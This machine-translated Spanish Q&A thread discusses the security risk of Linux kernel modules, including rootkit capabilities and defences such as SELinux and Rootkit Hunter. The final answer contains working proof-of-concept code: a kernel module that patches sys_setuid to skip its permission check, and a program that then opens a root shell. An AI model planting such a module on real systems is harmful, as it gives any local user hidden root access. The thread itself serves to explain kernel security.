2009-10-14 13 views
6

¿Cuánto riesgo de seguridad tienen los módulos del kernel de Linux? Recuerdo haber leído que era posible si alguien tenía acceso, que todo lo que tenían que hacer era cargar un módulo de rootkit. ¿Es esto correcto? ¿Hay alguna manera de protegerse de esto?Módulos de kernel de Linux - ¿riesgo de seguridad?

¿Qué partes del kernel están realmente expuestas a través de la interfaz del módulo ya qué funciones tienen acceso los programadores, que podrían usarse para propósitos malignos?

Respuesta

5

Lo que Douglas dijo es totalmente correcto, Linux es monolithic y un módulo puede hacer de todo. Esta es una elección de diseño impulsada principalmente por Linus Thorvalds y encaja en la filosofía de Código Abierto (por qué restringir, cuesta rendimiento y se puede ver lo que un módulo hace desde la fuente, prácticamente hablando solo para nerds reales :-) -).

Ahora tal vez tenga que cargar algunos de los denominados módulos binarios de terceros. Incluso si parecen compilados, generalmente hay un archivo de objeto común como caja negra y solo se compilan las interfaces a su alrededor (como para los controladores gráficos nvidia que uso). No hay una respuesta definitiva, si carga tales módulos, debe confiar en el proveedor, si no, no lo haga ...

Solo root puede cargar módulos que corrigen en teoría. En la práctica, sin embargo, ningún sistema es perfecto (incluso Linux). De vez en cuando hay vulnerabilidades de kernel que pueden hacer posible que los usuarios locales o los usuarios remotos (en casos muy raros) introduzcan código en el kernel para que puedan rootear derechos y así puedan tomar el control de su sistema. Tener un kernel actualizado es algo bueno ...

Después de precisar esto, vamos a entrar en la segunda parte de la pregunta que no ha sido respondida hasta ahora: "¿a qué funciones tienen acceso los programadores, que podrían usarse para propósitos maliciosos?". Muchas de las cosas que se hacen para SE-Linux también puede usarse para fines maliciosos, como:

  • ocultación de información en los directorios /proc o /sys, por ejemplo ocultando los procesos de usuario maliciosos para que no se muestran en herramientas como top, ps y así sucesivamente. Esto incluye ocultar el propio módulo malicioso para que no aparezca en lsmod.
  • registrar y registrar las pulsaciones de tecla ...
  • enviando datos al mundo exterior. Ningún módulo kernel necesita conectarse a un sitio y enviar información (excepto la pila de red en el código original de Linux), si el código del módulo hace que algo huele mal. Si algunas cadenas se cifran y descifran para hacer algunas operaciones huele aún peor ...
  • ...

La lista es grande, si quieres más detalles puede echar un vistazo a Rootkit Hunter (http://www.rootkit.nl/projects/rootkit_hunter.html) Es una herramienta que ejecuto de vez en cuando. Puede detectar la presencia de algunos ampliamente utilizados rootkits. Administra una lista de rootkits y buscar en Google los nombres te hará ver qué tipo de objetivos están siguiendo estos animales ... Como dijo Douglas, las funciones que se pueden usar son en realidad todas las funciones disponibles en el kernel, sin restricciones. Decir si un módulo es malo o no es algo obvio.

6

Un módulo kernel se está ejecutando con privilegios de kernel completos: puede hacer cualquier cosa que el kernel pueda hacer, que es casi cualquier cosa. Un módulo con buen comportamiento restringirá sus acciones a aquellas funciones que el kernel exporta como símbolos, pero nada impide que un módulo invoque una función arbitraria de la que tenga la dirección o que ejecute un código que sea equivalente a cualquier función existente.

La protección es que solo root puede cargar módulos kernel.

La raíz puede hacer que la máquina haga cualquier cosa de todos modos, por lo que el riesgo incremental es insignificante. Para aclarar: cargar un módulo puede permitir que root se oculte mejor u operar un ataque con menos información sobre el sistema, pero, en principio, como root puede sobrescribir la imagen del kernel y reiniciar el sistema en esa imagen, puede lograr todo lo que un módulo kernel puede hacer. Dado que/dev/kmem generalmente no se puede escribir, es probable que un proceso raíz de espacio de usuario esté limitado en lo que puede hacer frente a un módulo kernel, pero una reescritura y reinicio pueden "arreglarlo".

También puede haber alternativas a la alteración de la memoria del kernel, p. si desea ocultar un proceso, puede usar un módulo cargable, o simplemente puede reemplazar ps con una versión trojaned.

De manera similar para ocultar un archivo, puede usar un módulo kernel, o simplemente puede reemplazar ls.

+0

Estás suponiendo que sólo el administrador (física y legal) de la máquina tiene privilegios de root, que es muy a menudo no es el caso. :) Los LKM pueden hacer cosas de las que la raíz no sabe absolutamente nada. –

1

Es posible que desee comprobar esto Wikipedia

Decir un módulo del núcleo es peligroso, es como decir que un conductor en las ventanas es peligroso. Definitivamente puede ser, pero generalmente no lo son. Como Mr.Leeder, root declarado puede hacer casi cualquier cosa, pero dudo que pueda llamar directamente a kernel api, necesitaría cargar un módulo kernel para eso (que obviamente puede).

+0

Pensé que los anillos no solían usarse en las computadoras X86? Estoy seguro de que escuché eso? –

+1

Solo dos anillos, 0 y 3, creo. –

+0

root puede sobrescribir la imagen del kernel y reiniciar el sistema, por lo que puede tener control completo si lo desea (a cambio de un obvio reinicio) –

0

Sólo quiero añadir que parte de la documentación: Linux Kernel Modules HOWTO

Creo que va a aclarar algunas de tus pensamientos con respecto a la cuestión de la seguridad.

0

Si te importa tanto, SELinux es tu amigo.

Si root puede actuar como ... root ... es un problema en su entorno, hay una serie de configuraciones alternativas de Linux donde ser root no lo lleva a ninguna parte.

Para algo con aún más seguridad, pruebe uno de los * IX O/Ses evaluados (He llevado varias evaluaciones, pero ninguno era un O/S abierto) o vaya con un O/S intrínsecamente más seguro, tal como algo de la variedad de transmisión de mensajes donde un "servidor" no se ejecuta en el modo anillo 0/supervisor/kernel.

0

Ya hay buenas respuestas de nivel general. Cómo ver este problema en un nivel de código de ejemplo, dejando en claro cuán vulnerable es Linux si el módulo está instalado.

Mi ejemplo módulo:

#include <linux/version.h> 
    #include <linux/module.h> 
    #include <linux/highmem.h> 
    #include <asm/unistd.h> 
    char *p; 
    int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map       
     { pte_t *pte1; 
      unsigned int dummy_but_needed; 
      p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx 
      pte1 = lookup_address((unsigned long long)p, &dummy_but_needed); 
      pte1->pte |= _PAGE_RW; //Now the code page is writable   
      *(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75". 
      return -1; // Insmod complains and module disappears from the system but module did it's work already    
     } 
    MODULE_LICENSE("GPL");//We don't need cleanup_module 

Los programas de ensayo que den privilegios de superusuario en el terminal a nivel de usuario:

int main() 
     { 
     setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;"); 
     system("/bin/bash"); //rax=system call nr and rdi=first parameter 
     } 

Es este un rootkit peligroso? No. Para encontrar la dirección sys_setuid, ¡ya debe tener privilegios de root! Y prácticamente cada sistema tiene esta dirección diferente.

De todos modos esto muestra lo fácil que es la manipulación. De hecho, es muy fácil reemplazar la constante utilizada por métodos dinámicos (en tiempo de ejecución), que no se presentan aquí. (Esto sería un rootkit.Lo intenté y ningún programa actual de búsqueda de rootkits fue capaz de encontrarlo, incluso si existía, e hizo todas las llamadas al sistema.)

He probado esto con Kernel 3.2 y AMD64. NO FUNCIONARÁ EN OTRO HW!

(cómo encontrar la constante necesaria:

xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic 
    [sudo] password for xxxx: 
    ffffffff8107f3a0 T sys_setuid 
    ffffffff810a23f0 T sys_setuid16 

)

Cuestiones relacionadas